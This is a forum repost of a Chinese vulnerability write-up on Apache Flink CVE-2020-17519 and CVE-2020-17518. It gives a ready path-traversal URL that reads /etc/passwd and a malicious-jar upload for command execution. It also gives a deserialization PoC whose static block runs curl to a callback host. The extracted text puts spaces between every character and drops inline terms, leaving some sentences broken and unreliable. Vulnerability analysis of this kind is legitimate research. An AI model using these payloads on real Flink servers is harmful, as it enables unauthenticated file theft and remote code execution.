搜索

[1167] 2021-01-20_ApacheFlinkCVE-2020-1751817519读写反序列化

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-16
2021-01-20_ApacheFlinkCVE-2020-1751817519读写反序列化 A p a c h e   F l i n k   C V E - 2 0 2 0 - 1 7 5 1 8 / 1 7 5 1 9   读 写 反 序 列 化 原 创   Y 4 e r   C h a B u g   2 0 2 1 - 0 1 - 2 0 又 是 U R L 编 码 的 问 题 C V E - 2 0 2 0 - 1 7 5 1 9   任 意 读 文 件 任 意 读 文 件 分 析 分 析 原 理 在 于 两 次 u r l 解 码 R o u t e r H a n d l e r 类 是 路 由 核 心 类 ， 用 于 处 理 路 由 的 整 体 交 互 走 向 。 Q u e r y S t r i n g D e c o d e r 类 是 自 实 现 的 解 码 类 ， 在 中 首 次 进 行 u r l 解 码 。 o r g . a p a c h e . f l i n k . r u n t i m e . r e s t . h a n d l e r . r o u t e r . R o u t e r H a n d l e r # c h a n n e l R e a d 0 q s d . p a t h ( )
d e c o d e C o m p o n e n t ( ) 进 行 解 码 ， 大 致 逻 辑 就 是 截 取 之 后 的 内 容 进 行 解 码 解 码 之 后 为 在 r e q u e s t 解 析 完 m e t h o d 、 p a t h 和 参 数 之 后 ， 进 行 。 其 中 t h i s . r o u t e r 存 放 了 所 有 的 路 由 ， 通 过 h t t p   m e t h o d 进 行 键 值 对 匹 配 。 意 思 就 是 G E T 请 求 对 应 什 么 路 由 ， 全 拿 出 来 。 % / j o b m a n a g e r / l o g s / . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f e t c % 2 f p a s s w d t h i s . r o u t e r . r o u t e ( )
在 中 r o u t e r 是 取 出 来 所 有 的 G E T 请 求 的 路 由 d e c o d e P a t h T o k e n s ( ) 以 进 行 路 径 分 割 ， 并 进 行 了 第 二 次 u r l 解 码 t h i s . r o u t e r . r o u t e ( ) /
拿 到 t o k e n s 之 后 进 行 在 这 个 方 法 中 是 通 过 已 知 的 G E T   m e t h o d 的 路 由 遍 历 进 行 正 则 匹 配 ( 一 句 话 就 是 匹 配 路 由 ) 。 其 中 p a t t e r n 的 值 是 ， 其 中 是 变 量 值 。 而 我 们 的 p a y l o a d 满 足 了 这 个 路 由 ， 将 作 为 f i l e n a m e 的 值 。 最 终 返 回 了 类 的 一 个 实 例 作 为 r e s p ， 而 f i l e n a m e 直 接 从 t o k e n 取 出 r o u t e r . r o u t e ( p a t h ,   p a t h ,   q u e r y P a r a m e t e r s ,   t o k e n s ) p a t t e r n . m a t c h ( p a t h T o k e n s ,   p a t h P a r a m s ) j o b m a n a g e r / l o g s / : f i l e n a m e : f i l e n a m e / j o b m a n a g e r / l o g s / . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f e t c % 2 f p a s s w d . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f . . % 2 f e t c % 2 f p a s s w d J o b M a n a g e r C u s t o m L o g H a n d l e r
两 次 u r l 编 码 之 后 目 录 穿 越 ， 造 成 任 意 文 件 读 取 。 修 复 修 复 简 单 粗 暴 ， 通 过 g e t N a m e ( ) 获 取 文 件 名 h t t p s : / / g i t h u b . c o m / a p a c h e / f l i n k / b l o b / m a s t e r / f l i n k - r u n t i m e / s r c / m a i n / j a v a / o r g / a p a c h e / f l i n k / r u n t i m e / r e s t / h a n d l e r / c l u s t e r / J o b M a n a g e r C u s t o m L o g H a n d l e r . j a v a C V E - 2 0 2 0 - 1 7 5 1 8   任 意 文 件 上 传 任 意 文 件 上 传 所 有 的 u r l 请 求 都 会 经 过 H a n d l e r 进 行 处 理 ， 路 由 随 意 即 可 触 发 。 . . /
文 件 上 传 位 于 中 。 其 中 f i l e U p l o a d 和 f i l e n a m e 均 可 控 ， 造 成 跨 目 录 o r g . a p a c h e . f l i n k . r u n t i m e . r e s t . F i l e U p l o a d H a n d l e r # c h a n n e l R e a d 0
R C E 自 身 功 能 自 身 功 能 r c e 这 个 鬼 东 西 本 身 无 鉴 权 ， 并 且 可 以 通 过 上 传 j a r 包 执 行 ， 传 个 j a r 包 上 去 r u n t i m e . e x e c 就 行 。 p a c k a g e   c o m . t e s t ; i m p o r t   j a v a . i o . I O E x c e p t i o n ; p u b l i c   c l a s s   M a i n   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   I O E x c e p t i o n   {         / /   w r i t e   y o u r   c o d e   h e r e                 R u n t i m e . g e t R u n t i m e ( ) . e x e c ( n e w   S t r i n g [ ] { " b a s h " , " - c " , " t o u c h   / t m p / g g g " } ) ;         } }
反 序 列 化 反 序 列 化 R C E 还 有 一 种 值 得 学 习 的 反 序 列 化 R C E 的 方 式 。 直 接 将 上 传 文 件 进 行 反 序 列 化 。 当 以 p o s t 方 式 访 问 到 时 ， 会 路 由 到 此 。 根 据 官 方 文 档 [ 1 ] 本 地 构 造 请 求 包 其 中 r e q u e s t 值 为 j s o n 数 据 ， 指 定 从 上 传 数 据 包 中 取 得 反 序 列 化 的 对 象 o r g . a p a c h e . f l i n k . r u n t i m e . r e s t . h a n d l e r . j o b . J o b S u b m i t H a n d l e r # l o a d J o b G r a p h / v 1 / j o b s < f o r m   n a m e = " f o r m "   a c t i o n = " h t t p : / / 1 7 2 . 1 6 . 1 . 1 3 7 : 8 0 8 1 / v 1 / j o b s "     m e t h o d = " p o s t "   e n c t y p e   = " m u l t i p a r t / f o r m - d a t a " >         < i n p u t   t y p e = " f i l e "   n a m e = " f i l e _ 0 " >         < i n p u t   t y p e = " t e x t "   n a m e = " r e q u e s t "   v a l u e = " " >         < i n p u t   t y p e = " s u b m i t "   v a l u e = " 提 交 " > < / f o r m > {     " j o b G r a p h F i l e N a m e " :   " a . s e r " }
构 造 请 求 这 个 地 方 卡 了 我 半 天 ， 自 己 真 是 个 傻 逼 ， 不 知 道 看 文 档 。 然 后 再 看 其 自 实 现 了 反 序 列 化 流 程 。 继 承 T y p e S e r i a l i z e r 有 很 多 实 现 ， 其 中 存 在 C l a s s . f o r n a m e 第 二 个 参 数 为 t r u e ， 可 以 静 态 代 码 块 执 行 。 那 么 转 变 思 路 即 为 先 上 传 恶 意 c l a s s 到 c l a s s p a t h 中 ， 然 后 通 过 反 序 列 化 触 发 s t a t i c 代 码 块 的 r c e 。 c l a s s p a t h 如 图 o r g . a p a c h e . f l i n k . a p i . c o m m o n . s t a t e . S t a t e D e s c r i p t o r # r e a d O b j e c t o r g . a p a c h e . f l i n k . a p i . j a v a . t y p e u t i l s . r u n t i m e . P o j o S e r i a l i z e r # d e s e r i a l i z e ( o r g . a p a c h e . f l i n k . c o r e . m e m o r y . D a t a I n p u t V i e w )
将 编 译 好 的 E x e c . c l a s s 上 传 到 b i n 或 者 l i b 目 录 下 ， 反 序 列 化 触 发 就 行 了 。 构 造 p o c 的 时 候 在 中 首 先 要 绕 过 h a s D e f a u l t V a l u e 。 我 用 的 是 V a l u e S t a t e D e s c r i p t o r 类 来 初 始 化 赋 值 。 直 接 贴 p o c 吧 。 i m p o r t   j a v a . i o . I O E x c e p t i o n ; p u b l i c   c l a s s   E x e c   {         s t a t i c   {                 t r y   {                         l o n g   l   =   S y s t e m . c u r r e n t T i m e M i l l i s ( ) ;                         R u n t i m e . g e t R u n t i m e ( ) . e x e c ( n e w   S t r i n g [ ] { " b a s h " ,   " - c " ,   " c u r l   h t t p : / / 1 7 2 . 1 6 . 1 . 1 / ? i d = "   +   l } ) ;                 }   c a t c h   ( I O E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         } } o r g . a p a c h e . f l i n k . a p i . c o m m o n . s t a t e . S t a t e D e s c r i p t o r # r e a d O b j e c t p a c k a g e   c o m . t e s t ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理